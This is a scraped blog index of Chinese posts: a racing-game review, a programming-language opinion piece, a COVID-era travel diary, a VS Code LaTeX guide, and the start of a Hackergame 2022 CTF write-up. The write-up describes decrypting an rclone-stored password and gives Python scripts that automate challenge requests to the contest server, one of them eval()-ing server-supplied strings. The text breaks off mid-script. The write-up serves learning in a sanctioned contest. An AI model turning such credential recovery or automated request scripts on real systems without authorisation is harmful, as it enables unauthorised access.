中文配音阵容。别的不说，原神和2077我玩得还是不少的。这俩一个是国内本土游戏，剧情配音当然没什么问题；一个是外国游戏译制的中配标杆，只有脏字太多这半个缺点，总之配音演员的素质完全是过硬的。而恰好本作的配音演员和那两部作品有较大程度的重合，于是如果你和我一样是个op的话，可以想象一下（2077玩得太久远了，有点忘）——\n哲平： 神原来没有关注我啊，这太令人遗憾了。（我果然，没有被神明注视着啊……）\n雷电将军： 呃，嗯…… 追逐愿望，可能会让人失去更多的，你懂的，伙计。\n（考哥. gif）\n没办法，译文质量真的太差了，译者完全没有语境的意识，配音演员也只能用译制腔应付咯。举几个例子（凭记忆，不完全准确）：\n我们扣押了20辆车，逮捕了它们的车手。有哪些憨憨会认为在甜甜圈店门口打转很有意思啊？\nStevenson市长的电视访谈\n这个 “憨憨” 堪比COD19的“我真的会谢”，你又不是3 + 游戏，吐几个脏字怎么了……\n- 哦，太好了！（中文语音）\n- 你在哪儿学的意大利语？\n- 在披萨店的广告上。\n男主和Rydell的电话交流\n这个意大利语完全没有体现出来，整段话就像是一人翻译一句，然后拼凑起来一样。\n- 我们自己的生计，我们不需要Stevenson市长来解决。\n- 不，当然。\n男主和Rydell的电话交流\n我怀疑译者是不是知道汉语里的 “不” 是什么意思。\n到了ASAP Rocky出场时就更有意思了。且不说一个人说中文一个人说英文多么违和，Rocky的声音甚至比男主小很多，完全不平衡。\n隔壁地平线5也有中配，声优其实也挺多重合的，虽然中配比不上刚提到那两款，但还是比NFS这边好不少…… 更何况允许切换外文配音本身也是一种自信，可惜单单NFS没有。\n配乐完全倒向嘻哈说唱风，虽然各自喜好有不同，但个人认为种类过于单一，离新Most Wanted的Butterflies and Hurricanes和Hot Pursuit 3的Thirty Seconds to Mars差得很远，未来也难以谈得上经典。更别提隔壁极限竞速了，那里甚至可以在游戏里听交响乐。\n车辆：还好不是气垫船 “气垫船” 指的是战地2042的一种地面载具，以爬楼的逆天bug而著称。该游戏的载具部分据传由C社负责，但幸亏C社没把极品飞车的手感一块儿搞废\u0026hellip; 不过我确实不太能接受。\n除了两代Shift外，极品飞车系列似乎很少强调走线过弯，同为C社开发的热力追踪3、新最高通缉更是以简单而容易掌控的漂移手感为人铭记。这一代则一反常态，在调校没有拉到接近100% 抓地 / 漂移的时候，开车就像是开了一坨粘液（一篇评测 描述成 “坦克”，我觉得更贴切），基本不能顺遂驾驶者的心意。诚然前几代也有漂移与走线的风格选择，但一上来漂移难受抓地也难受，我还是第一次见，甚至后期ASAP Rocky的E190也这么难操控，不知道他赛事中怎么开那么快。\n这让我直接留下了漂移手感差的印象。所以，我和很多人一样，第一周选了主打抓地的Eclipse，然后把第一周赛事送的Lotus抓地拉满，彻底抛弃漂移玩法（对NFS来说还是很不可思议），越级也有一战之力。而如果重金培养了没那么好开的车辆，可能就只能遭受折磨了。\n就没有漂移手感好的车吗？有，后面限时递送的那辆MINI Countryman让我感受到了老C社作品（如HP3）的感觉。但没有漂移 / 抓地特化的车基本没有手感体验。\n建模是NFS的强项，这次也没落下。不管是NPC车辆还是主角车辆，都没有明显的塑料感，而《极限竞速：地平线》从3就有这种问题，直到5也未解决。车内和车底的部分也相对来说更加精细，虽然没有车内视角略显遗憾。引擎声进一步发扬光大，当别的系列还在一部分发电音一部分实录的时候，这代不光保持了以前的良好水准，而且支持定制引擎声、排气声，高到不知哪里去了。也有人称是沿用了几年前的老模型，那只能说底子太好了。\n车商的车辆价格基本是扯淡，前两周基本没钱从车商买车，只能打比赛赢车，所以我之前会提到 “选择大于努力”。\n爆发氮气的idea很有意思，算是一定程度上挽救了爽度，要是没有漫画特效就更好了。\n调校选项那肯定比不上隔壁极限竞速了，毕竟他们有正儿八经的赛道作品Forza Motorsport。一些品牌改装件合作没了，变成了冷冰冰的零件等级，还是有点令人遗憾的。调校也不好抄网上的作业，不过剧情模式也没钱，作业摆在前面也抄不了。\n涂装系统也算是一贯的水平吧，没细看。这个倒是可以套网上的涂装了，不过只有 “最新”“最热” 之类的选项可选，并没有代码直达或搜索，这套涂装共享，属于是做了但没做精髓。\n对于NFS来讲，143辆车的车单也不算小，但许多新（或不算太旧）款车的缺席令人很不爽，比如992 GT3，比如第八代Golf，以及整个奥迪，丰田也依然没回来。\n哦，那个官方称将会可以关的傻 * 涂鸦特效是没法关的，差评。\nYes, you can turn the effects off. In fact, you can choose to never put them on in the first place. Just like any other part of a car\n\u0026mdash; Need for Speed (@NeedforSpeed) October 11, 2022 好了，关于游戏本身的东西讲完了，现在聊聊别的。\n当我们说到NFS的时候，我们在说什么？警匪追逐，漂移过弯，爆改JDM，蓝白条纹的M3 GTR，还是换来换去的工作室（误）？\n这些问题老玩家大概都会想到，玩NFS，玩的就是一个爽。它或许不需要有多真实，但一定要玩起来血脉贲张。这个系列也延续了二十多年了，EA自然比我们更懂，不过他们选择了 “过量”。大家喜欢警匪追逐，就在附近或前方刷一堆警车，搭配各种看起来真实但很恶心人的机制，让玩家体验亡命天涯的感觉；大家喜欢漂移过弯，就加上一些花里胡哨的视觉反馈，自以为地下赛车搭上美漫就会很酷；大家喜欢爆改JDM，于是还是提供了不少改装选项，Eclipse也能改上700马力，虽然有亿点点点贵；大家喜欢情怀车，M3 GTR、历代车牌也整上，甚至还有历代logo涂装；甚至工作室也确实能折腾，就像是开头提到的那样。\n在G社的作品中，我们已经看到了Rivals发扬近几代NFS的精神，NFS (2019) 复兴老NFS的玩法，Payback开始学习地平线，Heat把老NFS和地平线融合，而G社被改名降级的命运也似乎昭示了这几部作品的表现。这样来看，或许能理解C社作出的如此巨大改变。\n不过话又说回来，不好玩就是不好玩，毕竟，玩家买NFS是追求爽的，不是来练抗压的，所谓极限的紧张感，屁用没有。\n购买建议： 开售一个月就能跳水40%，降价空间非常大。不建议150元以上的价格购入标准版；更不要购入Palace版，除非Palace的粉丝。对于赛车新手，建议订阅EA Play或者XGP Ultimate体验10小时再决定。或者瞅准时机购买十几块钱的Heat，那是我认为近五年最好的一代作品。\n最后再推荐一篇我认为写的很好的文章，https://zhuanlan.zhihu.com/p/591278698。\n","date":"December 26, 2022","matchCount":0,"permalink":"/post/nfs-unbound/","preview":"","title":"《极品飞车：不羁》，点燃赛车游戏之『魂』"},{"content":"Go可能是我继C/C++ 和Python之后学的第一门语言了，但在体验了数个其他语言后，发现Go还是真香。\n本文含有大量主观观点，没错我就是要开团，也仅能代表个人的观点。\n犯下了怠惰之罪的Python Python怠惰就怠惰在竟然把所有依赖做到一个环境里去，于是各种依赖版本不可避免的就开始打架，代码还没写，环境先变成了屎山。此外就是慢，不过当作一个脚本语言的话也不用期望太多。\n干脆都用Poetry得了，有一个正常语言该有的lockfile，所有问题都能得到解决。\n犯下了傲慢之罪的Java Java就是依托答辩，语法像C却没有一点C的轻捷，但对象这回事属实烙印在了Java的深处。读取stdin要定义一个 Scanner 对象，对字符串做操作要定义一个 StringBuilder 或者 StringBuffer 而不是 String，不胜枚举。用户自己定义的也是一样，明明没有面向对象的需要却非要做成一个对象，连带着画出那诡异的UML图，如果面向对象味儿不够还要再用各种设计模式包装，观察者，单例，工厂…… 能不能别给自己加那么多戏。\n终于做完了一个项目，自信地点击了Gradle Build，过了好久还没完成，于是睡了一觉，终于build完成了。打开它，可用内存便无影无踪，别人30MB能解决的问题Java搞上300MB。\n犯下了暴食之罪的JavaScript 我不喜欢JavaScript的地方是它的依赖管理。其实应该说Node.js的依赖管理才更加合适，但现代的前端开发，又很难离得开Node.js。首先拦在面前的便是一大串包管理器，npm、yarn、pnpm，各自宣称解决了一些问题，但各自又有各自的lock文件。何况最烂但 用得最广泛 的npm会在你的每一个源代码目录中拉一坨. node_modules，随便起一个小页面，300MB没了，稍复杂的页面奔着1GB去了，而这 npm install 还经常由于各种奇奇怪怪的问题失败。\n另可参阅：Programs are dead\n犯下了贪婪之罪的Kotlin 不得不说Kotlin还是缓解了大量Java的不足，大大简化了各种繁琐的模式。单例，直接上 object 或者 companion object；观察者模式，一个 by 关键字就能解决。换成Java，不知道要打多少snippet。此外还有各种把if赋值上提之类的语法糖，确实应了那句话，甜到齁。此外和Java类的互操作性也十分舒适。在开发Android应用时感觉到这俩简直是天造地设，完美契合。\n但毕竟Kotlin设计之初就是为了在某种程度上与Java共存的，各种设计模式再简化也只能是语法简化。此外还有那又笨又重的JVM，完全逃不过去。\n犯下了怠惰之罪的C 我说C为什么摆烂，C有底气的啊，看到C就像看到了汇编，一目了然。这倒是一种独特的优势，除了memory safety之外十分适合偏向底层的开发，也没有Rust那么难学。但客观上，缺少诸多现代特性确实给C成为一个广泛用于应用软件的语言拖了后腿。\n至于C++，我感觉挺难说，坚持ABI兼容的后果，到现在还未知，但至少Google已经出去单干了。\n在我看来Golang就是 if err != nil 还不够优雅了，不过似乎Go 1.20会缓解这个问题。我真不想写try-catch。\n","date":"December 13, 2022","matchCount":0,"permalink":"/post/why-gopher/","preview":"","title":"为什么我会成为 Gopher"},{"content":"新冠三年，从学校回家难不难，有多难？\n12/04 | Day -2 一大早起来，收到了一条短信：\n在全体师生的共同努力和积极配合下，12月3日校内师生全员核酸检测结果均为阴性，学校各项工作有序开展。请大家今天下午继续参加核酸检测，做好个人防护，全力确保校园安全稳定。【学校疫情防控领导小组办公室】\n各项工作有序开展，早回家估计没希望了。此时全国各地大学生开始返乡大潮、湖师大统计返乡意愿，面对这种情况，我湖专学子当然也一天到晚在讨论返乡的可能性。于是我做了这么一张图：\n优势在我！\n中午未等睡觉，隔壁中南便传出了开放返乡的风声，闹了一中午，觉也没睡成，人反倒浮躁得很。别的也不想了，就想着放假。\n下午又听说青岛大学操场集体遛弯，起义是真的不能随便搞，尤其是在诉求没统一的情况下。学校不希望安排两次正常考试，留校学生不希望寒假后考试，返乡学生不希望早考试……\n晚上修着bug，突然有生物院的消息称从第二天开始可以申请返乡，最开始只是一位班主任 + 硕导，之后经过土木院辅导员基本确认，改签到6号出发。无奈自己过于犹豫，填表又太慢，原本400的机票经历三次涨价，560块钱才拿下。\n同时不断有人问辅导员相关事宜，辅导员却出乎意料地不知道——看这架势，除了辅导员应该都知道了。有时候就挺搞不懂你湖的，这种事不应该是辅导员先知道么。\n但不得不说老乡群比别的什么群都重要…… 甚至还有内鬼把截图传出去没打码，属实是缺了大德。\n一直到了九点多，出了一个通知，看起来挺像正儿八经的公文，PDF作者也是校办公室的一位老师，看样子基本敲定了。不过后期才得知，这其实是泄露出来的文件。\n我属于希望早回家比希望正儿八经考试更多一点的，a.k.a. 不返乡馋着返乡，返乡了又担心考试。湖大倒确实是精明嗷，不像青大直接一刀切过年返校考试，也不像武大要学生必须统一诉求才能谈，而是鸡贼地说：期末考核方案待定。\n虽然，我更担心过完寒假还能不能返校……\n12/05 | Day -1 前一天 山东省突然放松疫情防控 属实令人措手不及，不过问了问，回家还是居家隔离三天，倒是长沙周围的情况越发严峻了。据说中南关了图书馆，财政经济学院封了校，岳麓F3中最早开始统计的湖师大也正式开放了自愿返乡。此外，一直坚守的成电据说也可以返乡了。\n同时下午开始也出现了各种流言，包括但不限于长沙要封城、湖大封校、十好几个混管阳（辅导员称 “这个信息不实”）、长沙南站封闭之类的言论——今天还真没发短信告诉大家昨天全员阴性。\n开始为后一天的返乡做准备。衣柜里还有一大堆衣服要寄走，考虑到下飞机之后措施的不确定性，先将薄一点的衣服和暂时穿不着的厚衣服寄走，行李箱里的物品则主要为最坏情况下的集中隔离做准备。\n下午三点倒是开放了离校申请，审批出乎意料地快。估计院里的方针也是应润尽润。\n果不其然，关于考试时间的问题，下午还是闹了起来。看辅导员的意思似乎是安排两次考试，不过按照信息院的优良传统，这么办下去，一定会因为两次难度不完全相同，闹着要重考；何况第二次考试的性质是正常考试、缓考还是补考，甚至还不确定。\n核酸亭子已经基本撤了，附近的卫生服务站估计得排个40分钟，四医院从6日起停止做绿码核酸，宿舍区内的小亭子也只做通知的高风险人群和辅导员书面批条的人群，而这个条得去院楼才能拿。难道不测就是没有新增？\n越来越庆幸改签到了6号，起码目前得到的消息是，6-7号都是安全的。\n一直到晚上教务处才发了一个通知，要求核心课选择线上或推迟，选修课线上考试。同时有消息称，原则上核心课推迟到春季学期开学考。很好，反正我满意了。\n中南发了十个口罩，湖大的口罩现在还没收到，两天前买的口罩快递反而到了。然而我也用不着了，就把它放在那儿吧。\n12/06 | Day 0 终于到了要走的这一天，把东西收拾好就走了。到机场之前也没遇到什么奇怪的事情，不过学校的校车竟然在更安全的基础上比地铁快一点到机场，属实让我没想到。\n地铁机场站是要查健康码的，48小时核酸的牌子没撤，但我不知道他们是不是真看了。登机口也只需要看看健康码，没说核酸的事儿。此外的一切，都跟前三年没什么两样。\n机场封存的飞机还是很多，尤其是海航，真的多，航空业还是真的惨。\n令人欣慰的是，下了飞机也并没有遇到什么加码，甚至连核酸都不必做就把我放走了；虽然，这其实也是违反中央20条的行为。下了高速也没拦下来强制检测，只看了行程卡，甚至不问还不知道核酸亭子在哪。太猛了你山东。\n前两天已经听说部分地区返乡会直接扣下身份证拉去方舱隔离，所以我其实做好了最坏的打算，已经想象到有一群全副武装的大白在航站楼到达层等着旅客了。讲真，长沙虽然疫情也不轻，但我又不是高风险出来的人，还有48小时核酸。\n到了现在，信息密度已经没那么大了，老乡群也从一个情报机构变回了聊天吹水的地方。不过下飞机后还是听说师大可能已经准备封校（未经证实），晚上收到一条学校的短信，庆幸润的快。\n接属地疾控部门通知，我校南校区14舍出现两例阳性感染者，学校立即启动应急机制，已第一时间将阳性感染者及密接人员分别转运至定点医院和隔离场所，并迅速开展了临时管控、环境消杀等工作，学校总体秩序平稳。请大家不恐慌、不传谣、不信谣，严格做好个人防护。【学校疫情防控领导小组办公室】\n一整天四节课，逃请假了上午两节，下午一节形势与政策纯粹为了听论文题目，晚上的通识，老师甚至没开在线课堂，合计着路上这一天听了半节课（逃）。\n果然，到家了也没收到湖大的五个口罩。\n尾声 其实到这儿就没有什么好说的了，我一没隔离二没阳，快递也没拦在半路上打回长沙，挺幸运了，生活本该正常地继续下去。但是属实想不到，第二天下午三点联防联控机制抛出了个大炸弹，各省政策早前抢跑但中央直接追上来了，基本相当于仅靠疫苗和现有医疗系统防控了。\n湖大和长沙也没有封控，长沙南站也正常运营，甚至拆了核酸点。\n所以，接下来的疫情，会怎么走呢？\n","date":"December 6, 2022","matchCount":0,"permalink":"/post/coming-home/","preview":"","title":"返乡记"},{"content":"好久不见，水一篇文章。\nOverleaf实在是太慢了，编辑器用起来也不爽，既然有轻便的本地发行版和优秀的编辑器，为什么不用呢？\n本人使用Windows和Arch Linux下的MikTeX，对于其他发行版或操作系统，仅供参考。\nLaTeX安装 个人会推荐MiKTeX发行版，仅需下载必要的文件，相比TeXLive 10GB + 的大小大大改善。\nWindows下没什么难度，从 官网 下载即可。\nArch Linux等Pacman的Linux发行版建议从 AUR 下载，Arch Linux CN源下了好几遍似乎有点问题；然后打开MiKTeX Console，个人建议为所有用户安装，省事。\n插件安装 首先在VS Code Marketplace下载一个插件，LaTeX Workshop。\n装完之后，用VS Code打开一个工作区中的. tex文件，主界面就变成了这样。\nrecipe包含了对文件进行的处理步骤。毫无疑问，左边的recipe又要自己配了。马上讲。\n编译配置 此部分主要参考 https://mingzzx.com/2019/05/14/miktex-vscode/ (CC BY-SA 4.0)。\nrecipe的逻辑似乎类似于Linux的pipe，以及VS Code其他语言的调试思想。\n此处我使用 XeLaTeX 命令，而原帖使用 pdfLaTeX，区别可看 此帖。一言以蔽之，前者对中文和自定义字体支持更佳。\n配置属于VS Code首选项的一部分，所以可以填在工作区的. vscode/settings.json内，或用户首选项文件内。\njson 复制代码 { \u0026#34;latex-workshop.latex.recipes\u0026#34;: [ { \u0026#34;name\u0026#34;:\u0026#34;xelatex\u0026#34;, \u0026#34;tools\u0026#34;: [ \u0026#34;xelatex\u0026#34;, ] }, { \u0026#34;name\u0026#34;:\u0026#34;xelatex\u0026#43;bibtex\u0026#34;, \u0026#34;tools\u0026#34;: [ \u0026#34;xelatex\u0026#34;, \u0026#34;bibtex\u0026#34;, \u0026#34;xelatex\u0026#34;, \u0026#34;xelatex\u0026#34; ] } ], \u0026#34;latex-workshop.latex.tools\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;bibtex\u0026#34;, \u0026#34;command\u0026#34;: \u0026#34;bibtex\u0026#34;, \u0026#34;args\u0026#34;: [ \u0026#34;%DOCFILE%\u0026#34; ] }, { \u0026#34;name\u0026#34;: \u0026#34;xelatex\u0026#34;, \u0026#34;command\u0026#34;:\u0026#34;xelatex\u0026#34;, \u0026#34;args\u0026#34;:[ \u0026#34;%DOCFILE%\u0026#34; ] } ], } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 { \u0026#34;latex-workshop.latex.recipes\u0026#34;: [ { \u0026#34;name\u0026#34;:\u0026#34;xelatex\u0026#34;, \u0026#34;tools\u0026#34;: [ \u0026#34;xelatex\u0026#34;, ] }, { \u0026#34;name\u0026#34;:\u0026#34;xelatex+bibtex\u0026#34;, \u0026#34;tools\u0026#34;: [ \u0026#34;xelatex\u0026#34;, \u0026#34;bibtex\u0026#34;, \u0026#34;xelatex\u0026#34;, \u0026#34;xelatex\u0026#34; ] } ], \u0026#34;latex-workshop.latex.tools\u0026#34;: [ { \u0026#34;name\u0026#34;: \u0026#34;bibtex\u0026#34;, \u0026#34;command\u0026#34;: \u0026#34;bibtex\u0026#34;, \u0026#34;args\u0026#34;: [ \u0026#34;%DOCFILE%\u0026#34; ] }, { \u0026#34;name\u0026#34;: \u0026#34;xelatex\u0026#34;, \u0026#34;command\u0026#34;:\u0026#34;xelatex\u0026#34;, \u0026#34;args\u0026#34;:[ \u0026#34;%DOCFILE%\u0026#34; ] } ], } 基础的配置文件如上，tools部分封装了某个工具的执行方法，并取一个名字，如 xelatex tool就是 xelatex %DOCFILE%。recipe则是通过指定不同工具执行的次数和次序，最终取得不同的结果。单独的xelatex适用于不含参考文献的情况，而xelatex+bibtex适用于含参考文献的情况。\n现在，在tex文件编辑界面按下Ctrl+S，就会自动开始编译，然后产生一个PDF文件。\n优化配置 首先，可以在上面的settings.json外层大括号中加入：\njson 复制代码 \u0026#34;latex-workshop.view.pdf.viewer\u0026#34;: \u0026#34;tab\u0026#34;, \u0026#34;latex-workshop.latex.autoBuild.interval\u0026#34;:30000, \u0026#34;latex-workshop.latex.recipe.default\u0026#34;: \u0026#34;lastUsed\u0026#34;, \u0026#34;editor.wordWrap\u0026#34;: \u0026#34;wordWrapColumn\u0026#34;, 1 2 3 4 \u0026#34;latex-workshop.view.pdf.viewer\u0026#34;: \u0026#34;tab\u0026#34;, \u0026#34;latex-workshop.latex.autoBuild.interval\u0026#34;:30000, \u0026#34;latex-workshop.latex.recipe.default\u0026#34;: \u0026#34;lastUsed\u0026#34;, \u0026#34;editor.wordWrap\u0026#34;: \u0026#34;wordWrapColumn\u0026#34;, 作用分别为：\n编译出的PDF预览显示在另一标签页中\n间隔30秒内不重新编译\n默认（即Ctrl+S）编译命令使用上一个使用的recipe\n启用折行，即某行过长时折成两行显示\n读者也可以探索更多的编辑器与插件设置。\n自带的PDF预览功能也过于孱弱，可以使用 vscode-pdf 插件预览PDF，与Firefox浏览器的PDF预览有基本一致的体验。可以忽视插件的不支持警告，直接把PDF分屏预览，四舍五入就是Overleaf。\n试试Typst吧！可能是语法更简单、更自然的LaTeX，同时也在不断完善中，未来可期。\n","date":"November 28, 2022","matchCount":0,"permalink":"/post/vscode-latex/","preview":"","title":"使用 VS Code 实现 LaTeX 便捷编译与预览"},{"content":"又是一年Hackergame，我这个菜鸡又来被虐了。\n如果有读者想看完整且严谨的Writeup，建议移步 官方 GitHub，本文章仅图一乐。\n签到 一开始的思路是想办法修改时间限制，使得时限内也能签出2022。但找了一圈发现超出了自己的知识范围，遂作罢。\n之后随意点了一下提交，URL中出现了一个query string，value和识别结果不能说相似度很高吧，只能说完全一样。这和去年的签到题有点相像，都是通过修改URL的query string来拿到正确的token。\n将value修改为2022，根本不用画，就拿到了token。\nPS：2022年的网页竟然还在用Vue 2……\n猫咪问答喵 灌注关注taffy喵，关注taffy谢谢喵。\n一如既往是非USTC学生也能做，但出题人似乎在努力平衡校内校外人的难度。\n1 直觉当然是前往中科大信安协会官网寻找信息，但即使动用了Wayback Machine也并没有什么收获（而且这两个组织竟然是分立的）。\n后来发现只需Google一下，在 学校新闻网 上就可以找到是2017年3月。\n2 虽然问的是演讲内容，但是完全不需要找USTC的资料。KDE 的程序 就那么多，可以直接枚举得到结果。枚举到Kdenlive发现答案正确，搜索发现在描述的场景下确实 有显示问题。\n3 找到 Firefox version history 页面，可以看到 “Firefox 12 is the final release to support Windows 2000 and Windows XP RTM \u0026amp; SP1.”\n此外也可以直接搜索 \u0026ldquo;firefox drop support for windows 2000\u0026rdquo;，然后找到 Mozilla 的公告。\n4 开头先Google “linux kernel argc zero”，找到 对应的 LWN 新闻。通读“towards a general fix” 部分，发现Ariadne提出了一个修复方案，而Torvalds本人是倾向于这个方案的。从这部分的链接进入 commit 的详情，发现修改的是fs/exec.c，合入主线时的修改应该也修改了此文件。合入主线的日期肯定晚于2022/1/26，即这个commit的日期。\n然后找到kernel.org中kernel/git/torvalds/linux.git（不要找GitHub），找到fs/exec.c的修改log，然后从上面的日期往后找。找到 这个 commit，标题中的argv is empty正好对应了argc为0，上面也附有Ariadne的说明。填进去Hash为 dcd46d897adb70d63e025f175a00a89797d31a43，正好对了。\n对OS熟悉的读者或许能够直接推断出argv is empty这另一种说法，用这个直接Google能更快找到答案。\n5 这道题非常有迷惑性，很容易将研究导向错误的方向。但是，遵循着猫咪问答的传统——考察搜索技能，找到答案和密码学知识其实没有半毛钱关系。更何况，懂密码学也没法在这个方向搞出答案。\n很容易将MD5直接使用Google搜索，但搜索框会识别一些以冒号开头的命令（如site:cyp0633.icu），所以Google很容易将冒号分隔的词语各作为一个关键词而搜索。而将关键词使用双引号括起来能够禁止转义，或者使用 Google 高级搜索，使用” 与以下字词完全匹配”功能。\n搜索结构中很容易找到 一段 SSH 日志（如果没有结果，删掉开头的 MD5:），从日志中可以找到一个Host IP地址205.166.94.16，使用SSH连接，提示信息如下：\nThe authenticity of host \u0026lsquo;205.166.94.16 (205.166.94.16)\u0026lsquo;can\u0026rsquo;t be established. ED25519 key fingerprint is MD5:e4:ff:65:d7:be:5d:c8:44:1d:89:6b:50:f5:50:a0:ce. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])?\n正好是我们所要的MD5（如果是SHA256，使用 ssh -o FingerprintHash=md5）。使用IP访问网页，能够找到页面上一个域名sdf.org，对应的就是这个IP地址。\n综上，答案为sdf.org。在WHOIS上查询，确实是1996年10月12日创建的。\n6 此处百度搜索起来效率更高，Google索引不到什么东西。\n这题也有比较大的迷惑性。很容易我们可以找到 中科大网络信息中心网站，此处展示了中科大历年的网络方面通知文件。我们可以找到两个 “关于实行新的网络费用分担办法的通知”，一个发布于 2003 年，另一个发布于 2010 年。\n但是，后者并没有针对网络通服务定价作出什么修改，也就是说 “20元一月” 的定价并不是从此时开始的。找到另一个文件，提到“网络通自2003年3月1日起开通”，国际连接也是20元一月，所以本题答案为2003-03-01。\n家目录里的秘密 拿到压缩包，直接使用VS Code全目录搜索 flag，第一个flag就在. config/Code/User/History/2f23f721/DUGV.c里。\n第二个flag与Rclone有关，而这个压缩包内与Rclone有关的文件就是. config/rclone/rclone.conf。这里面保存了一份使用Rclone连接一个FTP服务器的配置文件，然而文件夹中并没有办法找到example.com具体指的是什么，加之题目上也说在压缩包里找flag，就并不应该试图努力从远程服务器拿flag。秘密应该在 pass 字段里。\n联想到FTP连接是需要把密码还原出来的，所以这个 pass 应该是使用了对称式加密。在 一篇社区文章 里证实了我的想法，使用的是AES加密；而通过搜索 \u0026ldquo;decrypt rclone pass\u0026rdquo; 之后找到了另一篇社区文章，贴出了一段代码，能够将 pass 解密。按照帖子中的指引操作即可，解出来正好是flag。\n有意思的是，第二篇帖子在10月20日发布，不由得让人猜想这其中的关联性。\nHeiLang 到了第一天晚上才做出来，咕咕咕了大半天，转发抽一人送一个AirPods Pro（bushi）。\n手撸了一个简单的translator，将HeiLang转换为Python。非常不优雅而且低效，但能用。\npython 复制代码 f=[] out=open(\u0026#34;getflag.py\u0026#34;,\u0026#34;w\u0026#34;) with open(\u0026#39;./getflag.hei.py\u0026#39;) as file: f=file.readlines() for i in f: if i[:2]==\u0026#39;a[\u0026#39;: eq=i.rfind(\u0026#39;=\u0026#39;) # 查找等号的位置 result=int(i[eq\u0026#43;2:].strip()) # 获取数字 i=i[2:eq-2] nums=i.split(\u0026#39;|\u0026#39;) # 分割数字 for n in nums: index=int(n.strip()) # 获取下标 out.write(\u0026#34;a[{}] = {}\\n\u0026#34;.format(index, result)) else: out.write(i) # 非赋值语句，直接写入 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 f=[] out=open(\u0026#34;getflag.py\u0026#34;,\u0026#34;w\u0026#34;) with open(\u0026#39;./getflag.hei.py\u0026#39;) as file: f=file.readlines() for i in f: if i[:2]==\u0026#39;a[\u0026#39;: eq=i.rfind(\u0026#39;=\u0026#39;) # 查找等号的位置 result=int(i[eq+2:].strip()) # 获取数字 i=i[2:eq-2] nums=i.split(\u0026#39;|\u0026#39;) # 分割数字 for n in nums: index=int(n.strip()) # 获取下标 out.write(\u0026#34;a[{}] = {}\\n\u0026#34;.format(index, result)) else: out.write(i) # 非赋值语句，直接写入 把它运行一遍，看看输出内容，你就知道它的工作原理了。\n这段代码写得贼累，求赞求投币求转发，最重要的是点一个大大的关注，后面我忘了（逃\nXcaptcha 逻辑比较简单，请求题目就对 /xcaptcha 发送GET请求，请求时需提交Cookie以便于识别个人Token。提交结果时，就对 /xcaptcha 发送POST请求。要带上刚刚GET请求的Cookie，否则无法对应刚刚获取的题目。\n刚开始使用浏览器JavaScript断点捕获了一套题目，做出来之后再通过Postman发送POST提交，却会提示超时，这意味着我们必须使用程序自动化提交。\n考虑到得到的字符串中含有中文，而且还包含整个算式，我想了想，还是用Python比较舒服。程序如下：\npython 复制代码 import requests import re url=\u0026#34;http://202.38.93.111:10047/xcaptcha\u0026#34; headers={ \u0026#34;Cookie\u0026#34;:r\u0026#34;your-cookie\u0026#34;, } r=requests.get(url,headers=headers) newCookie=r.headers[\u0026#34;Set-Cookie\u0026#34;] ans=[] pattern=re.compile(r\u0026#39;\u0026lt;label for=\u0026#34;captcha\\d\u0026#34;\u0026gt;.\u0026#43;\u0026lt;\\/label\u0026gt;\u0026#39;) # 匹配题目部分 captcha=pattern.findall(r.text) for c in captcha: c=c[22:-14] # 去掉标签 print(c) ans.append(eval(c)) data={ \u0026#34;captcha1\u0026#34;:ans[0], \u0026#34;captcha2\u0026#34;:ans[1], \u0026#34;captcha3\u0026#34;:ans[2], } headers[\u0026#34;Cookie\u0026#34;]=newCookie r=requests.post(url,headers=headers,data=data) print(r.text) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requests import re url=\u0026#34;http://202.38.93.111:10047/xcaptcha\u0026#34; headers={ \u0026#34;Cookie\u0026#34;:r\u0026#34;your-cookie\u0026#34;, } r=requests.get(url,headers=headers) newCookie=r.headers[\u0026#34;Set-Cookie\u0026#34;] ans=[] pattern=re.compile(r\u0026#39;\u0026lt;label for=\u0026#34;captcha\\d\u0026#34;\u0026gt;.+\u0026lt;\\/label\u0026gt;\u0026#39;) # 匹配题目部分 captcha=pattern.findall(r.text) for c in captcha: c=c[22:-14] # 去掉标签 print(c) ans.append(eval(c)) data={ \u0026#34;captcha1\u0026#34;:ans[0], \u0026#34;captcha2\u0026#34;:ans[1], \u0026#34;captcha3\u0026#34;:ans[2], } headers[\u0026#34;Cookie\u0026#34;]=newCookie r=requests.post(url,headers=headers,data=data) print(r.text) 然后只需要从输出的内容中将赤裸裸的flag粘进去就行了。\nHeadless browser and requests are all your friend\n旅行照片2.0 又到了和去年一样的社工环节，不同的是今年有100分可以直接读EXIF骗过来。太简单就不讲了。\n邮政编码可不一定是中国大陆的，照片中出现了 \u0026ldquo;welcome to zozomarine stadium\u0026rdquo; 字样，搜索发现是在日本千叶，进一步，很容易推断出拍摄者身处 “アパホテル＆リゾート〈東京ベイ幕張〉”。但是体育馆和酒店的邮编并不相同，所以答案为2610021。\n熟悉手机的人可以一眼看出机型是红米Note 9 4G，而对于其他人，手机分辨率的突破口其实仍然是EXIF。相机型号未给出准确值（可能用了谷歌相机之类的），但SM6115代表骁龙662，再搭配小米品牌的条件就不难找到了，这是一块2340*1080的屏幕。\n然后通过地图搜索机场，附近东京都市圈内的机场有成田和羽田两座。成田机场在球馆背侧，跑道大致南北向，所以通过的飞机不应该在图中；那剩下的就是羽田机场（IATA: HND）可能性最大。\n飞机像是在起飞，所以起飞机场就是HND。寻找数月之前的航班难度较大，而鉴于5月14日是周六，我们可以尝试搜索10月22日（同是周六）18点23分之前起飞的航班。\n方法很简单，一个一个往前试。最终试到了NH683，由HND飞往HIJ。\n猜数字 研究了一下请求，通过对 /status 的POST提交结果，然后再对 /status 进行一次GET来获取服务器反馈。\n结合题目描述的大数定律（我概率论真的不好），那确实是收敛于某个值？于是用Python写了个暴力猜数程序，试图找找规律。\npython 复制代码 import requests nums=[] cookie={} header={ \u0026#34;Authorization\u0026#34;:\u0026#34;Bearer your-token\u0026#34;, } url=\u0026#34;http://202.38.93.111:18000/state\u0026#34; for i in range(0,100): min=0.0 max=1.0 resp=requests.get(url,headers=header,cookies=cookie) while(1): max=round(float(max),6) min=round(float(min),6) sendNum=round((max\u0026#43;min)/2.0,6) 